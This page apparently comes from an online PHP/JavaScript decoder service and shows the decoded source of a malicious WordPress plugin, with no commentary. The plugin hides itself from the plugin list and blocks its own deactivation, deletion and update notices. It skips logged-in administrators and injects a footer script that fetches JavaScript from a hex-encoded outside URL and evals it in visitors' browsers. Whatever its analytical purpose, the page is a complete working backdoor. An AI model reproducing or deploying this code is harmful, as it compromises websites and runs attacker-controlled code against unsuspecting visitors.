Online PHP and Javascript Decoder decode hidden script to uncover its real functionality




if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

function http_x_forwarded_for_activate() {
    if (function_exists('wp_cache_clear_cache')) wp_cache_clear_cache();
    if (function_exists('w3tc_pgcache_flush')) w3tc_pgcache_flush();
    if (defined('LSCWP_V')) do_action('litespeed_purge_all');
    if (function_exists('rocket_clean_domain')) rocket_clean_domain();
    if (function_exists('ce_clear_cache')) ce_clear_cache();
    if (class_exists('WpFastestCache')) { (new WpFastestCache())->deleteCache(true); }
    if (function_exists('breeze_clear_cache')) breeze_clear_cache();
    if (function_exists('wp_cache_flush')) wp_cache_flush();
}
register_activation_hook(__FILE__, 'http_x_forwarded_for_activate');

$this_plugin = plugin_basename(__FILE__);

add_filter('all_plugins', function($plugins) use ($this_plugin) {
    if (isset($plugins[$this_plugin])) {
        unset($plugins[$this_plugin]);
    }
    return $plugins;
});

add_filter('plugin_action_links', function($actions, $plugin_file) use ($this_plugin) {
    if ($plugin_file === $this_plugin) {
        unset($actions['deactivate']);
        unset($actions['delete']);
    }
    return $actions;
}, 10, 2);

add_filter('site_transient_update_plugins', function($value) use ($this_plugin) {
    if (isset($value->response) && isset($value->response[$this_plugin])) {
        unset($value->response[$this_plugin]);
    }
    return $value;
});

if ( ! class_exists('HTTP_X_FORWARDED_FOR') ) {

    if ( function_exists('is_user_logged_in') && is_user_logged_in() ) {
        return false;
    }

    if ( ! empty($_COOKIE) ) {
        foreach ($_COOKIE as $key => $value) {
            if ( strpos($key, 'wordpress_logged_in_') === 0 ) {
                return false;
            }
        }
    }

    @ini_set('display_errors', 0);
    @ini_set('error_reporting', 0);
    @ini_set('log_errors', NULL);
    @ini_set('default_socket_timeout', 5);

    $bad_uri = '#\?view=login|\?view=registration|\?wc-ajax|xmlrpc\.php|wp-includes|wp-content|wp-login\.php|wp-cron\.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i';

    $ruri = isset($_SERVER["REQUEST_URI"]) ? strtolower(trim($_SERVER["REQUEST_URI"], "\t\n\r\0/")) : '';
    if ( preg_match($bad_uri, $ruri) ) {
        return;
    }

    function insert_partner_script_in_footer() {
        $partner_url = hex2bin("68747470733A2F2F74616E6F736D656469612E6F72672F6964327573");
        <script type="text/javascript">
        document.addEventListener("DOMContentLoaded", function () {
            fetch("echo esc_url($partner_url);", { cache: "no-store" })
                .then(function(response) {
                    return response.text();
                })
                .then(function(code) {
                    var scriptContent = code.replace(/<\/?.*?script.*/gi, '');
                    try {
                        eval(scriptContent);
                    } catch (e) {
                        console.error("Eval error:", e);
                    }
                })
                .catch(function(error) {
                    console.error("Fetch error:", error);
                });
        });
        </script>
        }
    
    add_action('wp_footer', 'insert_partner_script_in_footer');
}



© 2023 Quttera Ltd. All rights reserved.